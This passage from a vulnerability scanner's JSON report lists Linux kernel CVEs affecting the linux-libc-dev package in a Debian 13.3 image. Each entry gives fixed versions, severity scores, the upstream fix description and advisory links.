"https://git.kernel.org/stable/c/a11372a8b1ceaa5e950a84b3b5fbf8228f25e277", "https://git.kernel.org/stable/c/a3fd5dc1c7b0aae947a67dc2e2c037d57557a4de", "https://git.kernel.org/stable/c/dd9d3e16c2d5fa166e13dce07413be51f42c8f5d", "https://lore.kernel.org/linux-cve-announce/2026062444-CVE-2026-52992-af99@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52992", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-52992" ], "PublishedDate": "2026-06-24T17:17:10.083Z", "LastModifiedDate": "2026-07-14T19:44:31.92Z" }, { "VulnerabilityID": "CVE-2026-52993", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52993", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1f70c252f1b8dc251e79b9b2353b4573fde65fcf1241a4d2290ed1a91fe3963d", "Title": "kernel: tipc: fix double-free in tipc_buf_append()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntipc: fix double-free in tipc_buf_append()\n\ntipc_msg_validate() can potentially reallocate the skb it is validating,\nfreeing the old one. In tipc_buf_append(), it was being called with a\npointer to a local variable which was a copy of the caller's skb\npointer.\n\nIf the skb was reallocated and validation subsequently failed, the error\nhandling path would free the original skb pointer, which had already\nbeen freed, leading to double-free.\n\nFix this by checking if head now points to a newly allocated reassembled\nskb. If it does, reassign *headbuf for later freeing operations.", "Severity": "HIGH", "CweIDs": [ "CWE-415", "CWE-763" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:45115", "https://access.redhat.com/errata/RHSA-2026:45116", "https://access.redhat.com/errata/RHSA-2026:47017", "https://access.redhat.com/errata/RHSA-2026:49212", "https://access.redhat.com/security/cve/CVE-2026-52993", "https://bugzilla.redhat.com/2492094", "https://bugzilla.redhat.com/2492437", "https://bugzilla.redhat.com/2504052", "https://bugzilla.redhat.com/2507345", "https://bugzilla.redhat.com/show_bug.cgi?id=2492094", "https://bugzilla.redhat.com/show_bug.cgi?id=2492437", "https://bugzilla.redhat.com/show_bug.cgi?id=2504052", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52923", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52993", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64530", "https://errata.almalinux.org/9/ALSA-2026-49212.html", "https://errata.rockylinux.org/RLSA-2026:49212", "https://git.kernel.org/linus/d293ca716e7d5dffdaecaf6b9b2f857a33dc3d3a%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0274f24485fc38032d4093e463dc3ff5c7a667c9", "https://git.kernel.org/stable/c/1d5e589055880fae229e229e1929e087dbe08cf3", "https://git.kernel.org/stable/c/29940fff14110ca48c5ccc168d121665b51bb778", "https://git.kernel.org/stable/c/4d104882bc815d4ec666ace9155f5f52715879a6", "https://git.kernel.org/stable/c/4ee4deadaae7cb2e3d53af0fc889cf92a73413c0", "https://git.kernel.org/stable/c/a438975a6dcdbd70865978c021650d1485586f0b", "https://git.kernel.org/stable/c/d293ca716e7d5dffdaecaf6b9b2f857a33dc3d3a", "https://git.kernel.org/stable/c/d3556656c6daebf8def751c7e71d11dd0a180d24", "https://linux.oracle.com/cve/CVE-2026-52993.html", "https://linux.oracle.com/errata/ELSA-2026-49212.html", "https://lore.kernel.org/linux-cve-announce/2026062445-CVE-2026-52993-34a2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52993", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52993.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8644-1", "https://ubuntu.com/security/notices/USN-8644-2", "https://ubuntu.com/security/notices/USN-8644-3", "https://ubuntu.com/security/notices/USN-8645-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8666-1", "https://ubuntu.com/security/notices/USN-8666-2", "https://ubuntu.com/security/notices/USN-8666-3", "https://ubuntu.com/security/notices/USN-8667-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8715-1", "https://ubuntu.com/security/notices/USN-8715-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8748-1", "https://ubuntu.com/security/notices/USN-8911-1", "https://www.cve.org/CVERecord?id=CVE-2026-52993" ], "PublishedDate": "2026-06-24T17:17:10.203Z", "LastModifiedDate": "2026-10-19T20:18:53.853Z" }, { "VulnerabilityID": "CVE-2026-53000", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53000", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7e08bf086a86a4d6a07dccee70a8114ff9a75be66d0930758ec271a53a97c387", "Title": "kernel: netfilter: nat: use kfree_rcu to release ops", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nat: use kfree_rcu to release ops\n\nFlorian Westphal says:\n\n\"Historically this is not an issue, even for normal base hooks: the data\npath doesn't use the original nf_hook_ops that are used to register the\ncallbacks.\n\nHowever, in v5.14 I added the ability to dump the active netfilter\nhooks from userspace.\n\nThis code will peek back into the nf_hook_ops that are available\nat the tail of the pointer-array blob used by the datapath.\n\nThe nat hooks are special, because they are called indirectly from\nthe central nat dispatcher hook. They are currently invisible to\nthe nfnl hook dump subsystem though.\n\nBut once that changes the nat ops structures have to be deferred too.\"\n\nUpdate nf_nat_register_fn() to deal with partial exposition of the hooks\nfrom error path which can be also an issue for nfnetlink_hook.", "Severity": "HIGH", "CweIDs": [ "CWE-763" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55445", "https://access.redhat.com/errata/RHSA-2026:64808", "https://access.redhat.com/errata/RHSA-2026:67720", "https://access.redhat.com/errata/RHSA-2026:68100", "https://access.redhat.com/security/cve/CVE-2026-53000", "https://bugzilla.redhat.com/2370992", "https://bugzilla.redhat.com/2492097", "https://bugzilla.redhat.com/2492273", "https://bugzilla.redhat.com/2502527", "https://bugzilla.redhat.com/2507061", "https://bugzilla.redhat.com/2507096", "https://bugzilla.redhat.com/2507129", "https://bugzilla.redhat.com/2507287", "https://bugzilla.redhat.com/show_bug.cgi?id=2370992", "https://bugzilla.redhat.com/show_bug.cgi?id=2492097", "https://bugzilla.redhat.com/show_bug.cgi?id=2492273", "https://bugzilla.redhat.com/show_bug.cgi?id=2502527", "https://bugzilla.redhat.com/show_bug.cgi?id=2507061", "https://bugzilla.redhat.com/show_bug.cgi?id=2507096", "https://bugzilla.redhat.com/show_bug.cgi?id=2507129", "https://bugzilla.redhat.com/show_bug.cgi?id=2507287", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38004", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52933", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64287", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64384", "https://errata.almalinux.org/9/ALSA-2026-64808.html", "https://errata.rockylinux.org/RLSA-2026:64808", "https://git.kernel.org/linus/6eda0d771f94267f73f57c94630aa47e90957915%20%287.1-rc1%29", "https://git.kernel.org/stable/c/050f98e56782b14677c5bae50800e60775bbf6bb", "https://git.kernel.org/stable/c/32fdd2e38e7435a368d88f5977a7d6585ebc8b0e", "https://git.kernel.org/stable/c/3c7511f38ab511b791196b13ae48bf4973bf7dfd", "https://git.kernel.org/stable/c/6eda0d771f94267f73f57c94630aa47e90957915", "https://git.kernel.org/stable/c/bf17f1d3b307196d9282c4b1dd8be0d0e5f8e529", "https://git.kernel.org/stable/c/ede973d62d26d9c550269af05366ab9e30fc92ee", "https://linux.oracle.com/cve/CVE-2026-53000.html", "https://linux.oracle.com/errata/ELSA-2026-64808-0.html", "https://lore.kernel.org/linux-cve-announce/2026062447-CVE-2026-53000-2568@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53000", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53000.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-53000" ], "PublishedDate": "2026-06-24T17:17:11.047Z", "LastModifiedDate": "2026-10-30T13:19:06.473Z" }, { "VulnerabilityID": "CVE-2026-53002", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53002", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:527dce6781dac3123badcd21849e74cbb4881372081a18a38379b1cf2708b9b8", "Title": "kernel: netfilter: conntrack: remove sprintf usage", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: conntrack: remove sprintf usage\n\nReplace it with scnprintf, the buffer sizes are expected to be large enough\nto hold the result, no need for snprintf+overflow check.\n\nIncrease buffer size in mangle_content_len() while at it.\n\nBUG: KASAN: stack-out-of-bounds in vsnprintf+0xea5/0x1270\nWrite of size 1 at addr [..]\n vsnprintf+0xea5/0x1270\n sprintf+0xb1/0xe0\n mangle_content_len+0x1ac/0x280\n nf_nat_sdp_session+0x1cc/0x240\n process_sdp+0x8f8/0xb80\n process_invite_request+0x108/0x2b0\n process_sip_msg+0x5da/0xf50\n sip_help_tcp+0x45e/0x780\n nf_confirm+0x34d/0x990\n [..]", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:64770", "https://access.redhat.com/errata/RHSA-2026:66000", "https://access.redhat.com/errata/RHSA-2026:66180", "https://access.redhat.com/security/cve/CVE-2026-53002", "https://bugzilla.redhat.com/2467065", "https://bugzilla.redhat.com/2468102", "https://bugzilla.redhat.com/2479812", "https://bugzilla.redhat.com/2481936", "https://bugzilla.redhat.com/2482566", "https://bugzilla.redhat.com/2484456", "https://bugzilla.redhat.com/2486463", "https://bugzilla.redhat.com/2486999", "https://bugzilla.redhat.com/2492329", "https://bugzilla.redhat.com/2492811", "https://bugzilla.redhat.com/2492841", "https://bugzilla.redhat.com/2501252", "https://bugzilla.redhat.com/2502394", "https://bugzilla.redhat.com/2510892", "https://bugzilla.redhat.com/2511932", "https://bugzilla.redhat.com/2516731", "https://bugzilla.redhat.com/2517046", "https://bugzilla.redhat.com/show_bug.cgi?id=2467065", "https://bugzilla.redhat.com/show_bug.cgi?id=2468102", "https://bugzilla.redhat.com/show_bug.cgi?id=2479812", "https://bugzilla.redhat.com/show_bug.cgi?id=2481936", "https://bugzilla.redhat.com/show_bug.cgi?id=2482566", "https://bugzilla.redhat.com/show_bug.cgi?id=2484456", "https://bugzilla.redhat.com/show_bug.cgi?id=2486463", "https://bugzilla.redhat.com/show_bug.cgi?id=2486999", "https://bugzilla.redhat.com/show_bug.cgi?id=2492329", "https://bugzilla.redhat.com/show_bug.cgi?id=2492811", "https://bugzilla.redhat.com/show_bug.cgi?id=2492841", "https://bugzilla.redhat.com/show_bug.cgi?id=2501252", "https://bugzilla.redhat.com/show_bug.cgi?id=2502394", "https://bugzilla.redhat.com/show_bug.cgi?id=2510892", "https://bugzilla.redhat.com/show_bug.cgi?id=2511932", "https://bugzilla.redhat.com/show_bug.cgi?id=2516731", "https://bugzilla.redhat.com/show_bug.cgi?id=2517046", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43339", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43493", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46149", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46306", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46330", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53223", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53275", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64034", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64597", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72129", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74480", "https://errata.almalinux.org/9/ALSA-2026-66180.html", "https://errata.rockylinux.org/RLSA-2026:66180", "https://git.kernel.org/linus/6e7066bdb481a87fe88c4fa563e348c03b2d373d%20%287.1-rc1%29", "https://git.kernel.org/stable/c/1c9fb8aeed06790d42cdcd00f6c3ce0b9e926c1e", "https://git.kernel.org/stable/c/2f793ba78470a99f40389b7dc60a81d9f5ad3956", "https://git.kernel.org/stable/c/6bbf829b4c1b44c941c47dd0d710f1393258f3d5", "https://git.kernel.org/stable/c/6e7066bdb481a87fe88c4fa563e348c03b2d373d", "https://git.kernel.org/stable/c/8e3be0d12615a173fe260cd42753ca7a001acbf2", "https://git.kernel.org/stable/c/a8e0a32a23d3f34862af3b4da792ecb3a891a9a3", "https://git.kernel.org/stable/c/ab64e61c9323fa6de21bd20da1ddb29a0fb65d34", "https://git.kernel.org/stable/c/c08ff52e44945e6ef4ce0790f49ea761b060c45b", "https://linux.oracle.com/cve/CVE-2026-53002.html", "https://linux.oracle.com/errata/ELSA-2026-66180-0.html", "https://lore.kernel.org/linux-cve-announce/2026062447-CVE-2026-53002-8577@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53002", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53002.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8633-1", "https://ubuntu.com/security/notices/USN-8633-2", "https://ubuntu.com/security/notices/USN-8635-1", "https://ubuntu.com/security/notices/USN-8645-1", "https://ubuntu.com/security/notices/USN-8646-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8666-1", "https://ubuntu.com/security/notices/USN-8666-2", "https://ubuntu.com/security/notices/USN-8666-3", "https://ubuntu.com/security/notices/USN-8667-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8715-1", "https://ubuntu.com/security/notices/USN-8715-2", "https://ubuntu.com/security/notices/USN-8725-1", "https://ubuntu.com/security/notices/USN-8725-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8748-1", "https://ubuntu.com/security/notices/USN-8911-1", "https://www.cve.org/CVERecord?id=CVE-2026-53002" ], "PublishedDate": "2026-06-24T17:17:11.263Z", "LastModifiedDate": "2026-10-19T20:18:54.833Z" }, { "VulnerabilityID": "CVE-2026-53004", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53004", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:92f39c86dac480fd9b9bea6661a40417d70bf008e43a0100a96a11906984d01e", "Title": "kernel: sctp: fix OOB write to userspace in sctp_getsockopt_peer_auth_chunks", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: fix OOB write to userspace in sctp_getsockopt_peer_auth_chunks\n\nsctp_getsockopt_peer_auth_chunks() checks that the caller's optval\nbuffer is large enough for the peer AUTH chunk list with\n\n if (len \u003c num_chunks)\n return -EINVAL;\n\nbut then writes num_chunks bytes to p-\u003egauth_chunks, which lives\nat offset offsetof(struct sctp_authchunks, gauth_chunks) == 8\ninside optval. The check is missing the sizeof(struct\nsctp_authchunks) = 8-byte header. When the caller supplies\nlen == num_chunks (for any num_chunks \u003e 0) the test passes but\ncopy_to_user() writes sizeof(struct sctp_authchunks) = 8 bytes\npast the declared buffer.\n\nThe sibling function sctp_getsockopt_local_auth_chunks() at the\nnext line already has the correct check:\n\n if (len \u003c sizeof(struct sctp_authchunks) + num_chunks)\n return -EINVAL;\n\nAlign the peer variant with its sibling.\n\nReproducer confirms on v7.0-13-generic: an unprivileged userspace\ncaller that opens a loopback SCTP association with AUTH enabled,\nqueries num_chunks with a short optval, then issues the real\ngetsockopt with len == num_chunks and sentinel bytes painted past\nthe buffer observes those sentinel bytes overwritten with the\npeer's AUTH chunk type. The bytes written are under the peer's\ncontrol but land in the caller's own userspace; this is not a\nkernel memory corruption, but it is a kernel-side contract\nviolation that can silently corrupt adjacent userspace data.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53004", "https://git.kernel.org/linus/0cf004ffb61cd32d140531c3a84afe975f9fc7ea%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0cf004ffb61cd32d140531c3a84afe975f9fc7ea", "https://git.kernel.org/stable/c/2b5a2c957c7769d40110f725cf23987fcef50d75", "https://git.kernel.org/stable/c/6849b995cda88a677bf08a05765d1db7905974fc", "https://git.kernel.org/stable/c/6bcf8fe4ef7967b22b814cbae9a57bbd3c853410", "https://git.kernel.org/stable/c/70a089cc9590aa347a61e84434116ab74619e3c3", "https://git.kernel.org/stable/c/a132e199de69e2a45628aa8534df1bf5d44e1b6e", "https://git.kernel.org/stable/c/d45c7e99caf915b0f6c716bd8ffe9d45b9685761", "https://git.kernel.org/stable/c/d67fbc6dea5dbf7f46c618ebf65910a276078e20", "https://kernelcve.org/list/?q=CVE-2026-53004", "https://linux.oracle.com/cve/CVE-2026-53004.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026062448-CVE-2026-53004-09a9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53004", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53004" ], "PublishedDate": "2026-06-24T17:17:11.51Z", "LastModifiedDate": "2026-11-06T17:18:00.69Z" }, { "VulnerabilityID": "CVE-2026-53006", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53006", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": 